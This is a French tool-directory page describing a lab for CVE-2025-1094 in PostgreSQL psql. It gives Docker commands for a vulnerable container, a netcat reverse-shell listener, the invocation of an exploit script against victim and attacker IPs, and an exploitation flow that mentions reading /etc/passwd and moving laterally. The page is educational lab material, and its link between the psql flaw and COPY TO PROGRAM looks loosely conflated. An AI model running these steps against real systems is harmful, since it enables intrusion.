Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-1094-Lab-Setup — Atelier pratique pour exploiter CVE-2025-1094, une injection SQL dans PostgreSQL psql menant à une exécution de code à distance (RCE) via COPY TO PROGRAM, avec configuration Docker et payload de shell inversé. | Kitploit
Outils/GitHubGitHub/pinkarmor/cve-2025-1094-lab-setup
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubpinkarmor/cve-2025-1094-lab-setup

CVE-2025-1094-Lab-Setup

Atelier pratique pour exploiter CVE-2025-1094, une injection SQL dans PostgreSQL psql menant à une exécution de code à distance (RCE) via COPY TO PROGRAM, avec configuration Docker et payload de shell inversé.

Voir le dépôt
il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🛠️ Configuration du laboratoire CVE-2025-1094

⚠️ Avertissement
Ce laboratoire est destiné uniquement à des fins éducatives et de recherche.
N'utilisez PAS les informations ou techniques présentées ici sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Toute utilisation non autorisée de ces méthodes peut enfreindre les lois et entraîner de lourdes sanctions.


📌 Vue d'ensemble

CVE-2025-1094 est une vulnérabilité critique affectant l'outil interactif psql de PostgreSQL, découverte dans la version 14.15 et antérieures.
Elle permet aux attaquants d'effectuer une injection SQL pouvant conduire à une exécution de code à distance (RCE) dans certaines conditions.


🧨 Cause racine

La vulnérabilité provient d'une gestion inappropriée des entrées UTF-8 malformées dans psql.
En raison d'une validation insuffisante, les attaquants peuvent injecter du SQL arbitraire ou des méta-commandes comme ! (échappement shell), et même exploiter pour exécuter des commandes système.

COPY ... TO PROGRAM

🔥 Impact et scénarios d'attaque

  • Injection SQL → RCE : Les chaînes UTF-8 malformées contournent la validation et conduisent à l'exécution de requêtes arbitraires.
  • Abus de COPY TO PROGRAM : Les attaquants peuvent exécuter des commandes shell arbitraires telles que :
    • Shells inversés
    • Lecture de fichiers sensibles (/etc/passwd)
    • Combinaison avec d'autres CVE pour une RCE complète sans authentification
  • Risque d'intégration : Les logiciels utilisant psql avec des entrées non fiables (par exemple, BeyondTrust PRA, Remote Support) sont particulièrement exposés.

🧪 Prérequis du laboratoire

🐳 Victime (Ubuntu)

Installer Docker :

root@kitploit:~
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER

👉 Redémarrez ou déconnectez-vous puis reconnectez-vous pour appliquer les permissions du groupe Docker.


🐍 Attaquant (Kali)

Installer Python et les dépendances :

root@kitploit:~
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional

✅ Assurez-vous d'avoir une connectivité réseau entre les machines attaquante et victime.


⚙️ Étape 1 – Déployer le conteneur PostgreSQL vulnérable (Victime)

  1. Télécharger l'image PostgreSQL 14.15 :
root@kitploit:~
docker pull postgres:14.15
  1. Exécuter le conteneur :
root@kitploit:~
docker run --name vulnerable_postgres   -e POSTGRES_USER=postgres123   -e POSTGRES_PASSWORD=StrongP@ssWord   -e POSTGRES_DB=labdb   -p 5432:5432   -d postgres:14.15
  1. Attendre ~5s pour l'initialisation, puis créer une table de démonstration :
root@kitploit:~
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  username TEXT,
  password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

✅ Étape 1.5 – Vérifier le conteneur et la configuration de la base de données

Après avoir démarré le conteneur, vérifiez que tout fonctionne avec les commandes suivantes :

1. Vérifier que le conteneur PostgreSQL est en cours d'exécution :

root@kitploit:~
sudo docker ps

📌 Vous devriez voir un conteneur nommé vulnerable_postgres à l'écoute sur le port 5432.


2. Accéder au conteneur et inspecter la base de données :

root@kitploit:~
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb

Dans le shell psql, exécutez :

root@kitploit:~
SELECT * FROM users;

Sortie attendue :

root@kitploit:~
 id | username |  password
----+----------+-------------
  1 | admin    | password123
(1 row)

Quittez psql :

root@kitploit:~
\q

✅ Votre instance PostgreSQL vulnérable est maintenant opérationnelle et prête pour l'exploitation.


3. Redémarrer le conteneur

root@kitploit:~
sudo docker start vulnerable_postgres

📡 Étape 2 – Exploitation depuis la machine attaquante

  1. Démarrer un écouteur sur la machine attaquante pour capturer le shell inversé :
root@kitploit:~
nc -lvnp 4444
  1. Exécuter le script d'exploitation (ajustez l'IP et le port si nécessaire) :
root@kitploit:~
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
  1. En cas de succès, vous recevrez un shell inversé depuis le conteneur PostgreSQL vulnérable 🎉
root@kitploit:~
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.

🧰 Exemple de flux d'exploitation

  1. Injecter un UTF-8 malformé pour contourner la validation des entrées
  2. Exploiter COPY ... TO PROGRAM pour exécuter des commandes shell arbitraires
  3. Le shell inversé se connecte en retour à la machine attaquante
  4. Élever les privilèges ou se déplacer latéralement dans l'environnement

💡 Astuce : Vous pouvez créer un instantané de ce conteneur vulnérable et le réutiliser ultérieurement sans avoir à reconstruire l'environnement.

Télécharger l’outil